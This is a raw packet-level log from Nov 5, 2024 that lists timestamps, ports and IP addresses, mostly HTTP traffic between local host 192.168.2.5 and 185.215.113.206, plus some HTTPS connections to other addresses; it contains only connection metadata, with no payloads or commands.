Nov 5, 2024 10:13:52.341546059 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.341558933 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.341568947 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.341603041 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.382697105 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.382719994 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.382751942 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.382764101 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.382775068 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.382786036 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.382843018 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.409774065 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.409847021 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.409969091 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.410012960 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.410990000 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.411009073 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.411020041 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.411041021 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.411077023 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.411078930 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.411092043 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.411102057 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.411124945 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.411128044 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.411137104 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.411159039 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.411164999 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.411171913 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.411184072 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.411195040 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.411209106 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.411210060 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.411221027 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.411247015 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.411266088 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.450433016 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.450459957 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.450472116 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.450476885 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.450501919 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.450515032 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.450675011 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.450696945 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.450710058 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.450720072 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.450720072 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.450735092 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.450759888 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.450776100 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.451133013 CET	443	49982	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:52.451150894 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.451157093 CET	443	49982	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:52.451208115 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.451256990 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.451289892 CET	49982	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:52.451303005 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.451308966 CET	443	49982	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:52.451586008 CET	443	49982	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:52.451630116 CET	49982	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:52.452577114 CET	49982	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:52.452591896 CET	443	49982	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:52.458641052 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.458661079 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.458672047 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.458693027 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.458709002 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.461394072 CET	443	49984	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:52.461412907 CET	443	49984	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:52.461493015 CET	49984	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:52.461494923 CET	443	49984	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:52.461533070 CET	49984	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:52.468611002 CET	49984	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:52.468619108 CET	443	49984	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:52.499605894 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.499661922 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.499679089 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.499694109 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.499700069 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.499706030 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.499722958 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.499844074 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.499892950 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.499905109 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.499917984 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.499948978 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.499978065 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.503762007 CET	443	49989	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:52.526998043 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.527035952 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.527046919 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.527051926 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.527060986 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.527075052 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.527076006 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.527084112 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.527091980 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.527105093 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.527129889 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.527151108 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.527394056 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.527503967 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.527528048 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.527539968 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.527762890 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.527787924 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.527831078 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.527838945 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.527842045 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.527853966 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.527867079 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.527868986 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.527884960 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.527893066 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.527924061 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.528431892 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.528487921 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.528512955 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.528512955 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.530982971 CET	49989	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:52.531008005 CET	443	49989	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:52.531608105 CET	49989	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:52.531613111 CET	443	49989	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:52.531645060 CET	49989	443	192.168.2.5	40.126.32.138
Nov 5, 2024 10:13:52.531651020 CET	443	49989	40.126.32.138	192.168.2.5
Nov 5, 2024 10:13:52.540443897 CET	50001	443	192.168.2.5	23.96.180.189
Nov 5, 2024 10:13:52.540472031 CET	443	50001	23.96.180.189	192.168.2.5
Nov 5, 2024 10:13:52.540553093 CET	50001	443	192.168.2.5	23.96.180.189
Nov 5, 2024 10:13:52.540910959 CET	50001	443	192.168.2.5	23.96.180.189
Nov 5, 2024 10:13:52.540921926 CET	443	50001	23.96.180.189	192.168.2.5
Nov 5, 2024 10:13:52.567540884 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.567550898 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.567576885 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.567585945 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.567600012 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.567627907 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.567897081 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.567955017 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.567966938 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.567991972 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.568003893 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.568006992 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.568016052 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.568027020 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.568036079 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.568054914 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.575768948 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.575781107 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.575790882 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.575840950 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.575840950 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.575853109 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.575881958 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.575891018 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.575941086 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.576239109 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.576342106 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.593239069 CET	443	49993	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:52.593539953 CET	49993	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:52.593553066 CET	443	49993	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:52.593880892 CET	443	49993	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:52.597310066 CET	49993	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:52.597369909 CET	443	49993	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:52.597445011 CET	49993	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:52.616790056 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.616830111 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.616842031 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.616898060 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.616900921 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.616909981 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.616925001 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.616951942 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.616981030 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.617326021 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.617340088 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.617352009 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.617368937 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.617377996 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.617397070 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.629501104 CET	443	49994	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:52.630337000 CET	49994	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:52.630368948 CET	443	49994	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:52.631431103 CET	49994	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:52.631441116 CET	443	49994	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:52.639329910 CET	443	49993	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:52.643209934 CET	49993	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:52.644318104 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.644354105 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.644366026 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.644378901 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.644391060 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.644413948 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.644460917 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.644520998 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.644570112 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.644581079 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.644646883 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.644659042 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.644685984 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.644685984 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.644706011 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.644709110 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.644720078 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.644731998 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.644735098 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.644753933 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.644778013 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.645462990 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.645505905 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.671773911 CET	443	49995	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:52.672321081 CET	49995	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:52.672343969 CET	443	49995	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:52.672996998 CET	49995	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:52.673002005 CET	443	49995	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:52.684654951 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.684695959 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.684708118 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.684747934 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.684787035 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.685028076 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.685060978 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.685066938 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.685074091 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.685106039 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.685112000 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.685142994 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.685286045 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.685412884 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.685429096 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.685441971 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.685446024 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.685458899 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.685470104 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.685497046 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.695327044 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.695350885 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.695363045 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.695394039 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.695435047 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.695465088 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.695482969 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.695494890 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.695519924 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.695532084 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.703174114 CET	443	49996	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:52.705153942 CET	49996	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:52.705180883 CET	443	49996	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:52.705738068 CET	49996	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:52.705744028 CET	443	49996	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:52.734874010 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.734913111 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.734935045 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.734951973 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.734954119 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.734965086 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.734977961 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.734982014 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.734989882 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.735001087 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.735012054 CET	443	49993	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:52.735014915 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.735032082 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.735093117 CET	443	49993	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:52.735186100 CET	49993	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:52.742960930 CET	443	49997	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:52.745994091 CET	443	49998	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:52.753298044 CET	49993	443	192.168.2.5	13.107.246.57
Nov 5, 2024 10:13:52.753324986 CET	443	49993	13.107.246.57	192.168.2.5
Nov 5, 2024 10:13:52.759867907 CET	49997	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:52.759896994 CET	443	49997	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:52.760493994 CET	49997	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:52.760503054 CET	443	49997	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:52.761307001 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.761348963 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.761367083 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.761370897 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.761379957 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.761389971 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.761400938 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.761408091 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.761420012 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.761461020 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.761682987 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.761712074 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.761718035 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.761745930 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.761754036 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.761769056 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.761784077 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.761795044 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.761794090 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.761806965 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.761815071 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.761831999 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.762011051 CET	49998	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:52.762034893 CET	443	49998	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:52.762165070 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.762206078 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.762217045 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.762243032 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.762250900 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.762262106 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.762269974 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.762290001 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.762645006 CET	49998	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:52.762650967 CET	443	49998	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:52.769248009 CET	443	49994	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:52.769301891 CET	443	49994	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:52.769499063 CET	49994	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:52.769752979 CET	49994	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:52.769769907 CET	443	49994	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:52.769783020 CET	49994	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:52.769788027 CET	443	49994	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:52.774154902 CET	50002	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:52.774179935 CET	443	50002	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:52.774315119 CET	50002	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:52.774704933 CET	50002	443	192.168.2.5	13.107.253.45
Nov 5, 2024 10:13:52.774717093 CET	443	50002	13.107.253.45	192.168.2.5
Nov 5, 2024 10:13:52.801944971 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.801970005 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.801979065 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.801994085 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.802022934 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.802033901 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.802074909 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.802314043 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.802325010 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.802335024 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.802364111 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.802401066 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.802460909 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.802472115 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.802484035 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.802495956 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.802495956 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.802511930 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.802525997 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.802670956 CET	80	49934	185.215.113.206	192.168.2.5
Nov 5, 2024 10:13:52.802746058 CET	49934	80	192.168.2.5	185.215.113.206
Nov 5, 2024 10:13:52.813915968 CET	80	49934	185.215.113.206	192.168.2.5
